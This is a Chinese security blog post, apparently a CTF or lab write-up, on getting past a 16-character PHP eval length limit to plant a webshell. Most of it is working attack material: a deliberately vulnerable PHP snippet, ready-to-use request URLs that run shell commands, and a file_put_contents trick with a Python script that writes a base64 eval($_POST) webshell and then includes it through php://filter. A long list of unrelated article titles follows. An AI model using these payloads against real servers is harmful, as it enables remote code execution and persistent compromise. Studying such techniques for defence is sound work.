当前位置: 首页 > news >正文

那些年我们一起遇到过的奇技淫巧

EVAL长度限制突破技巧

PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

写一段限制长度在小于17位的字符,拿下webshell

<?php
highlight_file(__FILE__);
$param = $_REQUEST['param'];
if (strlen($param) < 17 &&stripos($param, 'eval') === false &&stripos($param, 'assert') === false
) {eval($param);
}

1.`$_GET[1]` (10位)

直接解:

http://192.168.176.142/testone.php?param=echo `$_GET[1]`;&1=id

;后面,没有限制,限制的是param,echo用来检验,算在其中,

exec($_GET[1]);(15位)

也可以在这里使用,想看打印,放在;后面,我们可以给aaaaa.php里写东西

http://192.168.176.142/testone.php?param=exec($_GET[1]);&1=echo '<?php phpinfo();'> aaaaa.php

2.include$_GET[1];

本地文件包含的利用

向服务器写入文件并包含

既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?

这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents
刚好16位

file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如  code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

我们把PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==写入N中

脚本如下:

import requestsstring = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='for i in string:payload = 'http://192.168.176.142/testone.php?1=file_put_contents&param=$_GET[1](N,%s,8);' % iresponse = requests.get(payload)if response.status_code == 200:print(i)


写入成功:

我们拿蚁剑试着连接:

http://192.168.176.142/testone.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • docker部署zookeeper和kafka
  • 图论(二):图的度分析——度数bar图度数等级图度数直方图根据度数渲染节点颜色
  • 合并多行数据
  • 记录一个困扰两天的bug,vue3代码用vite打包运行出错的问题
  • 哈希表 -四数相加II
  • 真的只有“天赋异禀”的人才能学好人工智能吗?
  • JWT入门
  • <数据集>路面坑洼识别数据集<目标检测>
  • UMDF例子 - Windows-driver-samples\general\echo\umdf2
  • 力扣(2024.08.12)
  • 提高清晰度的全彩LED显示屏的关键要素
  • 豆神集团阎鹏:重新认识AI教育中“人”的价值
  • JavaWeb——Servlet
  • 鸿蒙(API 12 Beta3版)【音视频解封装】 文件解析封装
  • Python图像背景去除
  • (三)从jvm层面了解线程的启动和停止
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • 【跃迁之路】【463天】刻意练习系列222(2018.05.14)
  • chrome扩展demo1-小时钟
  • export和import的用法总结
  • github指令
  • HTTP--网络协议分层,http历史(二)
  • Laravel5.4 Queues队列学习
  • Python实现BT种子转化为磁力链接【实战】
  • SpriteKit 技巧之添加背景图片
  • vue学习系列(二)vue-cli
  • 函数式编程与面向对象编程[4]:Scala的类型关联Type Alias
  • 利用阿里云 OSS 搭建私有 Docker 仓库
  • 聊聊flink的TableFactory
  • 前端js -- this指向总结。
  • 如何用纯 CSS 创作一个菱形 loader 动画
  • # Kafka_深入探秘者(2):kafka 生产者
  • # 服务治理中间件详解:Spring Cloud与Dubbo
  • (机器学习-深度学习快速入门)第一章第一节:Python环境和数据分析
  • (四)进入MySQL 【事务】
  • (五)activiti-modeler 编辑器初步优化
  • (一)kafka实战——kafka源码编译启动
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • (转)JAVA中的堆栈
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • .NET/C# 中你可以在代码中写多个 Main 函数,然后按需要随时切换
  • .NET设计模式(11):组合模式(Composite Pattern)
  • .py文件应该怎样打开?
  • @JsonFormat 和 @DateTimeFormat 的区别
  • @RequestParam详解
  • [ 数据结构 - C++]红黑树RBTree
  • [2015][note]基于薄向列液晶层的可调谐THz fishnet超材料快速开关——
  • [2669]2-2 Time类的定义
  • [android] 天气app布局练习
  • [Angularjs]asp.net mvc+angularjs+web api单页应用
  • [BJDCTF2020]EzPHP1
  • [BT]BUUCTF刷题第9天(3.27)
  • [C/C++入门][ifelse]20、闰年判断
  • [codevs 1515]跳 【解题报告】
  • [corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape